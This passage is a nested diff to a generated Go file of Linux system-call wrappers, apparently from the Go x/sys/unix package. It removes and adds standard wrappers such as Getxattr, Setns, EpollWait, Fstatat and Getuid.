-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +24,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +34,9 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, _, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +45,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,108 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,15 +93,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1515,8 +103,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1525,18 +113,13 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_NEWFSTATAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1566,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1574,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1582,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1600,7 +183,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1722,6 +305,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
